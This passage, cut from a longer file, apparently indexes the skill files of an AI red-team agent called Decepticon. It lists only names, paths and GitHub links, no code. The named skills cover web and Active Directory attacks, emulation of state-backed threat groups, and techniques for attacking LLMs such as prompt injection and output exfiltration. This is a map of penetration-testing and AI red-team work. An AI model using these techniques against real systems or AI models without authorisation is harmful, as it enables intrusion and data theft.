`packages/decepticon/decepticon/skills/standard/analyst/redos/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/redos/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/prototype-pollution/SKILL.md":"# prototype-pollution\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/prototype-pollution/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/prototype-pollution/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/prompt-injection/SKILL.md":"# prompt-injection\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/prompt-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/prompt-injection/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/pattern-exhaustion/SKILL.md":"# pattern-exhaustion\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/pattern-exhaustion/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/pattern-exhaustion/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/path-traversal/SKILL.md":"# path-traversal\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/path-traversal/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/path-traversal/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/ml-model-extraction/SKILL.md":"# ml-model-extraction\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/ml-model-extraction/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ml-model-extraction/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/misinformation/SKILL.md":"# misinformation\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/misinformation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/misinformation/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/improper-output-handling/SKILL.md":"# improper-output-handling\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/improper-output-handling/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/improper-output-handling/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/idor/SKILL.md":"# idor\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/idor/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/idor/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/excessive-agency/SKILL.md":"# excessive-agency\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/excessive-agency/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/excessive-agency/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md":"# deserialization\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/data-and-model-poisoning/SKILL.md":"# data-and-model-poisoning\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/data-and-model-poisoning/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/data-and-model-poisoning/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md":"# command-injection\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/bounty-hunting/SKILL.md":"# bounty-hunting\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/bounty-hunting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/bounty-hunting/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/auth-bypass/SKILL.md":"# auth-bypass\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/auth-bypass/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/auth-bypass/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/adversarial-ml-evasion/SKILL.md":"# adversarial-ml-evasion\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/adversarial-ml-evasion/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/adversarial-ml-evasion/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/sql-injection/SKILL.md":"# sql-injection\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/sql-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/sql-injection/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.md":"# ssrf\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/ssti/SKILL.md":"# ssti\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/ssti/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ssti/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/supply-chain/SKILL.md":"# supply-chain\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/supply-chain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/supply-chain/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/system-prompt-leakage/SKILL.md":"# system-prompt-leakage\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/system-prompt-leakage/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/system-prompt-leakage/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/ti-anyrun-lookup/SKILL.md":"# ti-anyrun-lookup\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/ti-anyrun-lookup/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ti-anyrun-lookup/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/ti-ioc-extraction/SKILL.md":"# ti-ioc-extraction\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/ti-ioc-extraction/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ti-ioc-extraction/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/ti-yara-hunting/SKILL.md":"# ti-yara-hunting\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/ti-yara-hunting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ti-yara-hunting/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.md":"# trust-boundary\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/unbounded-consumption/SKILL.md":"# unbounded-consumption\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/unbounded-consumption/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/unbounded-consumption/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/vector-and-embedding-weaknesses/SKILL.md":"# vector-and-embedding-weaknesses\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/vector-and-embedding-weaknesses/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/vector-and-embedding-weaknesses/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/xxe/SKILL.md":"# xxe\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/xxe/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/xxe/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.md":"# ntlm-relay\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.md":"# netexec\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/laps/SKILL.md":"# laps\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/laps/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/laps/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md":"# kerberoasting\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md":"# dcsync\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md":"# coercer\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.md":"# certipy-esc-chain\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/bloodhound-query/SKILL.md":"# bloodhound-query\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/bloodhound-query/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/bloodhound-query/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/bloodhound-bhce/SKILL.md":"# bloodhound-bhce\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/bloodhound-bhce/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/bloodhound-bhce/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md":"# asrep-roasting\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.md":"# adcs-esc1\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/sidewinder/SKILL.md":"# sidewinder\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/sidewinder/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/sidewinder/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/scattered-spider/SKILL.md":"# scattered-spider\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/scattered-spider/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/scattered-spider/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/sandworm-team/SKILL.md":"# sandworm-team\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/sandworm-team/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/sandworm-team/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/salt-typhoon/SKILL.md":"# salt-typhoon\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/salt-typhoon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/salt-typhoon/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/pink-sandstorm/SKILL.md":"# pink-sandstorm\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/pink-sandstorm/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/pink-sandstorm/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/patchwork/SKILL.md":"# patchwork\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/patchwork/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/patchwork/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/mustang-panda/SKILL.md":"# mustang-panda\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/mustang-panda/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/mustang-panda/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/muddywater/SKILL.md":"# muddywater\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/muddywater/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/muddywater/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/lazarus-group/SKILL.md":"# lazarus-group\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/lazarus-group/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/lazarus-group/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/kimsuky/SKILL.md":"# kimsuky\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/kimsuky/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/kimsuky/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/fin7-carbanak/SKILL.md":"# fin7-carbanak\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/fin7-carbanak/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/fin7-carbanak/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/dark-caracal/SKILL.md":"# dark-caracal\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/dark-caracal/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/dark-caracal/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt41-double-dragon/SKILL.md":"# apt41-double-dragon\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt41-double-dragon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt41-double-dragon/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt37-reaper/SKILL.md":"# apt37-reaper\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt37-reaper/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt37-reaper/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt36-transparent-tribe/SKILL.md":"# apt36-transparent-tribe\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt36-transparent-tribe/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt36-transparent-tribe/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt34-oilrig/SKILL.md":"# apt34-oilrig\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt34-oilrig/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt34-oilrig/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt33-elfin/SKILL.md":"# apt33-elfin\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt33-elfin/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt33-elfin/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt29-cozy-bear/SKILL.md":"# apt29-cozy-bear\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt29-cozy-bear/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt29-cozy-bear/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt28-fancy-bear/SKILL.md":"# apt28-fancy-bear\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt28-fancy-bear/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt28-fancy-bear/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt10-stone-panda/SKILL.md":"# apt10-stone-panda\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt10-stone-panda/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt10-stone-panda/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/turla/SKILL.md":"# turla\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/turla/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/turla/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/volt-typhoon/SKILL.md":"# volt-typhoon\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/volt-typhoon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/volt-typhoon/SKILL.md)","packages/decepticon/decepticon/skills/plugins/verifier/seven-question-gate/SKILL.md":"# seven-question-gate\n\nPath: `packages/decepticon/decepticon/skills/plugins/verifier/seven-question-gate/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/verifier/seven-question-gate/SKILL.md)","packages/decepticon/decepticon/skills/plugins/verifier/bounty-report/SKILL.md":"# bounty-report\n\nPath: `packages/decepticon/decepticon/skills/plugins/verifier/bounty-report/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/verifier/bounty-report/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t01-prompt-injection/SKILL.md":"# t01-prompt-injection\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t01-prompt-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t01-prompt-injection/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t02-linguistic-evasion/SKILL.md":"# t02-linguistic-evasion\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t02-linguistic-evasion/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t02-linguistic-evasion/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t03-reasoning-exploit/SKILL.md":"# t03-reasoning-exploit\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t03-reasoning-exploit/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t03-reasoning-exploit/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t04-memory-manipulation/SKILL.md":"# t04-memory-manipulation\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t04-memory-manipulation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t04-memory-manipulation/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t05-api-exploitation/SKILL.md":"# t05-api-exploitation\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t05-api-exploitation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t05-api-exploitation/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t06-training-poisoning/SKILL.md":"# t06-training-poisoning\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t06-training-poisoning/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t06-training-poisoning/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t07-output-exfil/SKILL.md":"# t07-output-exfil\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t07-output-exfil/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t07-output-exfil/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t08-deception/SKILL.md":"# t08-deception\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t08-deception/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t08-deception/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t09-multimodal/SKILL.md":"# t09-multimodal\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t09-multimodal/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t09-multimodal/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t10-confidentiality-breach/SKILL.md":"# t10-confidentiality-breach\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t10-confidentiality-breach/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t10-confidentiality-breach/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t11-agentic-exploit/SKILL.md":"# t11-agentic-exploit\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t11-agentic-exploit/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t11-agentic-exploit/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t12-rag-poisoning/SKILL.md":"# t12-rag-poisoning\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t12-rag-poisoning/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t12-rag-poisoning/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t13-supply-chain/SKILL.md":"# t13-supply-chain\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t13-supply-chain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t13-supply-chain/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t14-infra-warfare/SKILL.md":"# t14-infra-warfare\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t14-infra-warfare/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t14-infra-warfare/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t15-human-ai-coupling/SKILL.md":"# t15-human-ai-coupling\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t15-human-ai-coupling/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t15-human-ai-coupling/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/SKILL.md":"# emulation\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/web-recon/discovery/SKILL.md":"# discovery\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/discovery/SKILL.md`\n\n[View Raw Content on 